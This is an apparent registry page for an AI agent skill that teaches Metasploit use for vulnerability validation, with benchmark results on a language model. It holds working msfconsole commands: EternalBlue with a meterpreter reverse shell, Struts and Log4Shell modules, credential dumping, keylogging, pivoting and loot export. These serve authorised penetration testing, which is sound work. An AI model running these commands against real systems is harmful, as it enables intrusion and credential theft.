Install any skill in seconds. Free to start, no credit card required.
Get Started Free →The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules
.claude/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-03 | ✗→✓ | ▲ Improved | — | — |
| case-13 | ✓→✓ | = Same ✓ | — | — |
| case-02 | ✓→✓ | = Same ✓ | — | — |
| case-08 | ✓→✓ | = Same ✓ | — | — |
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.
Unlike offensive red teaming, vulnerability management uses Metasploit to:
bash# Start PostgreSQL and initialize database sudo systemctl start postgresql sudo msfdb init # Launch msfconsole msfconsole -q # Verify database connection msf6> db_status msf6> workspace -a vuln_validation_2025 # Import vulnerability scan results msf6> db_import /path/to/nessus_scan.nessus msf6> hosts msf6> vulns
bash# Example: Validate MS17-010 (EternalBlue) from scan findings msf6> search type:exploit name:ms17_010 msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> show options msf6> set RHOSTS 192.168.1.100 msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6> set LHOST 192.168.1.50 msf6> set LPORT 4444 # Use check command first (non-exploitative validation) msf6> check # [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010! # Only exploit if check confirms vulnerability and authorized msf6> exploit # Example: Validate Apache Struts RCE (CVE-2017-5638) msf6> use exploit/multi/http/struts2_content_type_ognl msf6> set RHOSTS target.example.com msf6> set RPORT 8080 msf6> set TARGETURI /showcase.action msf6> check # Example: Validate Log4Shell (CVE-2021-44228) msf6> use exploit/multi/http/log4shell_header_injection msf6> set RHOSTS target.example.com msf6> set HTTP_HEADER X-Api-Version msf6> check
bash# SMB vulnerability scanning msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6> set RHOSTS 192.168.1.0/24 msf6> set THREADS 10 msf6> run # SSL/TLS vulnerability checks msf6> use auxiliary/scanner/ssl/openssl_heartbleed msf6> set RHOSTS target.example.com msf6> run # HTTP vulnerability validation msf6> use auxiliary/scanner/http/dir_listing msf6> set RHOSTS target.example.com msf6> run # Database authentication testing msf6> use auxiliary/scanner/mssql/mssql_login msf6> set RHOSTS db-server.corp.local msf6> set USERNAME sa msf6> set PASSWORD "" msf6> run
bash# After successful exploitation, demonstrate impact meterpreter> getuid meterpreter> sysinfo meterpreter> hashdump meterpreter> run post/multi/gather/env meterpreter> run post/windows/gather/enum_patches meterpreter> run post/windows/gather/credentials/credential_collector # Network pivoting demonstration meterpreter> run post/multi/manage/autoroute meterpreter> run auxiliary/server/socks_proxy # Screenshot for evidence meterpreter> screenshot meterpreter> keyscan_start
bash# Export exploitation evidence msf6> vulns -o /tmp/validated_vulns.csv msf6> hosts -o /tmp/compromised_hosts.csv msf6> creds -o /tmp/captured_creds.csv msf6> loot -o /tmp/captured_loot.csv # Generate report from database msf6> db_export -f xml /tmp/msf_report.xml
bash# After remediation, verify exploit no longer works msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> set RHOSTS 192.168.1.100 msf6> check # [-] 192.168.1.100:445 - Host does NOT appear vulnerable. # Patch verified successfully
check command before exploit when available| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +9 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.